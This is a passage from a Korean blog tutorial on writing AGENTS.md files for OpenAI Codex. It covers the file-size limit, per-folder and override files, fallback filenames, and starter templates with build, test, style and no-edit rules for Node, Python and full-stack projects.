&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;저장소와 함께 공유되고 반복 적용된다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;개인 말투, 선호하는 설명 방식, 반복 작업 습관&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;전역 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt; 또는 메모리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;팀 규칙과 개인 선호를 섞지 않는다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;특정 명령을 허용&amp;middot;확인&amp;middot;차단하는 실행 정책&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;Rules&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;자연어 지침이 아니라 명령 실행 경계를 제어한다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px 24px; border-radius: 12px; border: 1px solid #dee2e6; margin: 20px 0;&quot;&gt;&lt;b&gt;비교 &amp;mdash; 효과 있는 AGENTS.md 규칙 vs 무시되기 쉬운 규칙&lt;/b&gt;
&lt;div style=&quot;display: flex; gap: 16px; margin-top: 14px; flex-wrap: wrap;&quot;&gt;
&lt;div style=&quot;flex: 1; min-width: 200px; background: #fff5f5; padding: 14px 16px; border-radius: 8px; border-left: 4px solid #e53e3e;&quot;&gt;&lt;b&gt;❌ 이렇게 하면&lt;/b&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 10px 14px; border-radius: 6px; font-size: 12px; margin: 10px 0 0; overflow-x: auto; white-space: pre-wrap;&quot;&gt;&lt;code&gt;## 규칙
- 좋은 코드를 작성한다.
- 문제를 만들지 않는다.
- migrations/는 중요하다.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;flex: 1; min-width: 200px; background: #f0fff4; padding: 14px 16px; border-radius: 8px; border-left: 4px solid #38a169;&quot;&gt;&lt;b&gt;✅ 이렇게 하면&lt;/b&gt;
&lt;pre class=&quot;n1ql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 10px 14px; border-radius: 6px; font-size: 12px; margin: 10px 0 0; overflow-x: auto; white-space: pre-wrap;&quot;&gt;&lt;code&gt;## 빌드와 테스트
- 작업을 완료했다고 말하기 전에 `pytest`를 실행한다.

## 수정 금지
- `migrations/`는 커밋 전에 DBA 검토가 필요하다.
  직접 수정하면 데이터 손실 위험이 있다.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;margin: 12px 0 0; color: #555; font-size: 14px;&quot; data-ke-size=&quot;size16&quot;&gt;이유 없는 금지(&quot;문제 만들지 않는다&quot;)는 다음 세션에서 무시되기 쉽다. &lt;b&gt;완료 조건&lt;/b&gt;과 &lt;b&gt;금지 이유&lt;/b&gt;를 함께 적어야 Codex가 예외 상황에서도 의도를 지킨다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0 0; color: #555; font-size: 14px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2056&quot; data-origin-height=&quot;1146&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S8FYE/dJMcagrVy0Q/TZmo9k0uXCUH5U6k8mi1zk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S8FYE/dJMcagrVy0Q/TZmo9k0uXCUH5U6k8mi1zk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S8FYE/dJMcagrVy0Q/TZmo9k0uXCUH5U6k8mi1zk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS8FYE%2FdJMcagrVy0Q%2FTZmo9k0uXCUH5U6k8mi1zk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2056&quot; height=&quot;1146&quot; data-origin-width=&quot;2056&quot; data-origin-height=&quot;1146&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2094&quot; data-origin-height=&quot;1118&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dj2nWC/dJMcaiDgXgK/n0lMnK93roDkXEzT3ewSBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dj2nWC/dJMcaiDgXgK/n0lMnK93roDkXEzT3ewSBk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dj2nWC/dJMcaiDgXgK/n0lMnK93roDkXEzT3ewSBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdj2nWC%2FdJMcaiDgXgK%2Fn0lMnK93roDkXEzT3ewSBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2094&quot; height=&quot;1118&quot; data-origin-width=&quot;2094&quot; data-origin-height=&quot;1118&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.3 언제 업데이트해야 하는가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 만든 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;는 완성본이 아니라 출발점이다. 공식 문서는 세 가지 상황에서 내용을 추가하라고 안내한다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/customization&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Customization 문서&lt;/a&gt;). Codex가 잘못된 가정을 반복할 때, 너무 많은 문서를 읽느라 헤맬 때, PR 리뷰에서 같은 피드백이 반복될 때다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;초심자 입장에서는 이렇게 기억하면 쉽다. &quot;한 번만 말하면 되는 내용&quot;은 프롬프트에 쓰고, &quot;다음에도 또 지켜야 하는 내용&quot;은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;에 올린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 문서가 커질수록 Codex가 읽어야 할 내용도 늘어난다. 공식 가이드는 합쳐진 지침 크기가 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;project_doc_max_bytes&lt;/code&gt;(Codex가 읽을 프로젝트 문서의 최대 바이트 한도) 한도에 닿으면 더 이상 추가하지 않는다고 설명하고, AGENTS.md 가이드의 기본 설명에서는 32 KiB를 기준값으로 안내한다. 그래서 규칙은 이유가 분명한 것만 넣고, 오래된 규칙은 주기적으로 걷어낸다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AGENTS.md로 옮길지 판단하는 체크리스트&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;같은 피드백을 세 번 이상 반복해서 말하고 있는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;새 세션에서도 반드시 지켜야 하는 팀 규칙인가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;규칙을 지키지 않으면 테스트 실패, 보안 위험, 배포 사고로 이어질 수 있는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;반대로 오래된 도구명, 사라진 폴더, 더 이상 쓰지 않는 명령은 없는가?&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또 하나 중요한 점은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;가 모든 문제를 혼자 해결하는 파일은 아니라는 점이다. Codex 문서에는 메모리, 스킬, MCP, 서브에이전트처럼 역할이 다른 확장 기능도 따로 설명되어 있다. 프로젝트 규칙은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;, 반복 워크플로는 스킬, 외부 시스템 연결은 MCP처럼 역할을 나눠 생각하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.4 모듈식으로 나누는 법&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 말하는 모듈식 구성은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt; 안에서 다른 문서를 import한다는 뜻이 아니다. 공식 AGENTS.md 가이드가 설명하는 방식은 &lt;b&gt;적용 범위에 맞게 지침 파일을 가까운 디렉토리에 두는 것&lt;/b&gt;이다. 저장소 전체 규칙은 루트 AGENTS.md에 두고, 특정 폴더에만 필요한 규칙은 그 폴더의 AGENTS.md 또는 AGENTS.override.md에 둔다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2098&quot; data-origin-height=&quot;1150&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lDpYn/dJMcaiDgXk1/n4NTgcs2sVLAp1sD412fI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lDpYn/dJMcaiDgXk1/n4NTgcs2sVLAp1sD412fI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lDpYn/dJMcaiDgXk1/n4NTgcs2sVLAp1sD412fI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlDpYn%2FdJMcaiDgXk1%2Fn4NTgcs2sVLAp1sD412fI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2098&quot; height=&quot;1150&quot; data-origin-width=&quot;2098&quot; data-origin-height=&quot;1150&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장 위치&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;공통 빌드&amp;middot;테스트 명령&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;{repo-root}/AGENTS.md&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;저장소 어디에서 작업하든 적용되는 규칙&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프론트엔드만의 UI 규칙&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;web/frontend/AGENTS.md&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;해당 폴더 아래 작업에만 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;특정 팀의 임시 우선 규칙&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;하위 폴더/AGENTS.override.md&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;같은 위치의 AGENTS.md 대신 override 파일만 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본값 그대로 사용하면 된다. 파일명 커스텀이나 용량 한도 조정은 처음에는 필요하지 않다.&lt;/p&gt;
&lt;details style=&quot;margin: 12px 0; background: #f8f9fa; border: 1px solid #dee2e6; border-radius: 8px; padding: 12px 16px;&quot;&gt;
&lt;summary style=&quot;cursor: pointer; font-weight: bold; color: #495057;&quot;&gt;더 알아보기 &amp;mdash; 파일명 커스텀과 한도 조정&lt;/summary&gt;
&lt;p style=&quot;margin: 12px 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;이미 팀에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;TEAM_GUIDE.md&lt;/code&gt; 같은 파일을 쓰고 있다면, 아래처럼 fallback 이름으로 등록할 수 있다. 설정을 바꾼 뒤에는 Codex를 재시작해야 반영된다.&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 16px; border-radius: 6px; font-family: 'Fira Code', monospace; font-size: 13px; margin: 8px 0; overflow-x: auto;&quot;&gt;&lt;code&gt;# ~/.codex/config.toml
project_doc_fallback_filenames = [&quot;TEAM_GUIDE.md&quot;, &quot;.agents.md&quot;]
project_doc_max_bytes = 65536&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 8px 0 0; color: #555; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;처음부터 한도를 키우는 방식은 좋은 기본값이 아니다. 한도 상향은 중요한 지침이 잘릴 때 검토하고, 그 전에는 오래된 규칙 삭제와 폴더별 분리를 먼저 시도한다.&lt;/p&gt;
&lt;/details&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또 하나 자주 헷갈리는 점이 있다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;@rules/foo.md&lt;/code&gt;나 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;./rules/foo.md&lt;/code&gt;를 AGENTS.md 안에 적는다고 해서 그 파일이 자동으로 합쳐지는 것은 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서가 설명하는 자동 발견 대상은 AGENTS.md, AGENTS.override.md, 그리고 설정에 등록한 fallback 파일명이다. 한 번만 참고할 파일은 프롬프트에 경로를 직접 쓰고, 반복해서 적용할 규칙은 가까운 AGENTS.md로 승격하는 편이 명확하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2.5 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.5 AGENTS.md 스타터 템플릿 4가지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;빈 파일 앞에서 &quot;뭘 써야 하지?&quot;가 막히는 게 가장 흔하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 복붙해서 쓸 수 있는 템플릿 4가지를 준비해봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시 A는 개인 프로젝트, B는 작은 풀스택 팀, C는 모노레포, D는 Next.js App Router 팀 프로젝트 기준이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff8e6; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #f0ad4e; margin: 18px 0;&quot;&gt;&lt;b&gt;예시들이 반복해서 보여주는 섹션 패턴&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;빌드와 테스트&lt;/b&gt;: 완료라고 말하기 전에 반드시 돌릴 명령&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;코드 스타일 / 규칙&lt;/b&gt;: 리뷰에서 반복 지적된 것만 &amp;mdash; 취향 수준은 넣지 않는다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;수정 금지 또는 금지 규칙&lt;/b&gt;: 실수하면 되돌리기 어려운 파일과 이유&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;각 규칙에 &lt;b&gt;이유&lt;/b&gt;: &quot;하지 마&quot; 한 줄보다 &quot;하지 마 &amp;mdash; 이유&quot; 형식이 Codex가 예외 상황을 더 잘 판단한다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 25px 0 12px; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;예시 A &amp;mdash; 개인: Node.js 프로젝트 혼자 쓸 때&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 AGENTS.md를 만들 때 가장 흔한 실수는 너무 많이 쓰는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반복 지적된 것 3가지, 금지 파일 2가지로 시작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나머지는 나중에 추가한다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 18px 20px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;# AGENTS.md

## 빌드와 테스트
- 작업을 완료했다고 말하기 전에 `npm test`를 실행한다.
- `npm install`은 자동으로 실행하지 않는다. 새 패키지가 필요하면
  패키지 이름과 이유를 먼저 설명하고 확인을 기다린다.

## 코드 스타일
- 새 비동기 코드는 `.then()` 체인보다 `async/await`로 작성한다.
- 커밋될 코드에 `console.log`를 남기지 않는다. `lib/log.ts`의 logger를 사용한다.

## 수정 금지
- `package-lock.json`은 직접 편집하지 않는다. `npm install`로만 갱신한다.
- `.env`, `.env.local`은 읽거나 수정하지 않는다.&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f9f0ff; padding: 20px 24px; border-radius: 12px; border-left: 4px solid #9c27b0; margin: 20px 0;&quot;&gt;&lt;b&gt;직접 해보자&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;아래 내용을 그대로 복붙해서 프로젝트 루트에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt; 파일을 만들어 보자.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;Codex가 다음 작업부터 테스트를 자동으로 돌리고, 지정한 파일은 건드리지 않는다.&lt;/p&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 18px; border-radius: 6px; font-family: 'Fira Code', monospace; font-size: 13px; margin: 12px 0 0; overflow-x: auto;&quot;&gt;&lt;code&gt;# AGENTS.md

## 빌드와 테스트
- 작업을 완료했다고 말하기 전에 `npm test`를 실행한다.

## 수정 금지
- `.env`, `.env.local`은 읽거나 수정하지 않는다.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;줄별 해설&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;빌드와 테스트 &amp;mdash; &quot;완료 전에 실행&quot;&lt;/b&gt;: 이 문구가 없으면 Codex가 테스트를 돌리지 않고 완료라고 말한다. 완료 조건을 명시하는 게 핵심이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;npm install 자동 실행 금지&lt;/b&gt;: 패키지가 추가되면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px;&quot;&gt;package-lock.json&lt;/code&gt;이 바뀌고 빌드 환경이 달라진다. 어떤 패키지인지 사람이 먼저 확인하게 강제하는 규칙이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;수정 금지 &amp;mdash; .env&lt;/b&gt;: 이 섹션이 없으면 Codex가 환경 파일을 읽거나 수정할 수 있다. API 키나 DB 주소가 담긴 파일은 반드시 명시한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;규칙 자체는 10줄 안팎&lt;/b&gt;: 처음엔 한국어로 짧게 시작한다. 실제 리뷰에서 &quot;또 이거야&quot;가 나올 때만 규칙을 추가한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;details style=&quot;margin: 12px 0; background: #f8f9fa; border: 1px solid #dee2e6; border-radius: 8px; padding: 12px 16px;&quot;&gt;
&lt;summary style=&quot;cursor: pointer; font-weight: bold; color: #495057;&quot;&gt;Python 프로젝트를 쓴다면 &amp;mdash; pytest 기반 예시 보기&lt;/summary&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 18px; border-radius: 6px; font-family: 'Fira Code', monospace; font-size: 13px; margin: 12px 0 0; overflow-x: auto;&quot;&gt;&lt;code&gt;# AGENTS.md

## 빌드와 테스트
- 작업을 완료했다고 말하기 전에 `pytest`를 실행한다.
- 데이터베이스 마이그레이션은 자동 실행하지 않는다. 먼저 마이그레이션 파일을
  보여주고 검토 확인을 기다린다.

## 코드 스타일
- 모든 함수 시그니처에 타입 힌트를 작성한다.
- `except:`만 단독으로 쓰지 않는다. 처리할 예외 타입을 명확히 적는다.

## 수정 금지
- `migrations/` 파일은 커밋 전에 수동 검토가 필요하므로 자동 수정하지 않는다.
- `.env`, `.env.local`은 읽거나 수정하지 않는다.&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 25px 0 12px; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;예시 B &amp;mdash; 소팀: 프론트엔드(Node) + 백엔드(Python) 한 저장소&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프론트엔드는 Node.js, 백엔드는 Python&amp;middot;FastAPI인 흔한 풀스택 구조다. 팀원마다 다른 명령을 쓰면 Codex도 흔들린다. 어느 폴더에서 어떤 명령을 써야 하는지 지도를 먼저 그려준다.&lt;/p&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 18px 20px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;# AGENTS.md

## 프로젝트 구조
- 프론트엔드: `apps/web/` (Next.js, pnpm)
- 백엔드: `apps/api/` (FastAPI, pytest)
- 공유 타입: `packages/types/`

## 빌드와 테스트
- 프론트엔드 변경: `pnpm --filter web lint &amp;amp;&amp;amp; pnpm --filter web test`
- 백엔드 변경: `pytest apps/api/tests/ -q`
- 공유 타입이나 양쪽에 걸친 변경을 건드렸다면 프론트엔드와 백엔드 검증을 모두 실행한다.

## 코드 스타일
- 프론트엔드: 기존 디자인 토큰을 사용한다. 컴포넌트 안에 일회성 hex 색상값을 넣지 않는다.
- 백엔드: 모든 API 요청/응답 스키마는 Pydantic 모델로 정의한다.
- 공통: TODO 주석을 남길 때는 연결된 이슈 번호를 함께 적는다.

## 수정 금지
- `apps/api/migrations/`는 DBA 검토가 필요하므로 자동 수정하지 않는다.
- `packages/types/`는 양쪽 팀 계약에 해당하므로 변경 전에 영향 범위를 설명한다.&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;줄별 해설&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프로젝트 구조 섹션&lt;/b&gt;: Codex가 어느 폴더에서 어떤 명령을 써야 할지 아는 지도다. 없으면 웹 명령을 API에 적용하거나 반대가 된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;테스트 명령에 &quot;cross-cutting changes&quot; 조건&lt;/b&gt;: &quot;항상 둘 다 돌려라&quot;고 적으면 백엔드만 건드려도 프론트 테스트가 불필요하게 돈다. 언제 둘 다 돌릴지 조건을 명시하는 게 낫다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;코드 스타일 영역 분리&lt;/b&gt;: 프론트엔드/백엔드/공통으로 나눠야 Codex가 잘못된 영역에 규칙을 적용하지 않는다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;packages/types/ 수정 주의&lt;/b&gt;: 팀 경계를 넘는 파일은 항상 명시해야 한다. 적지 않으면 Codex가 단독으로 수정할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
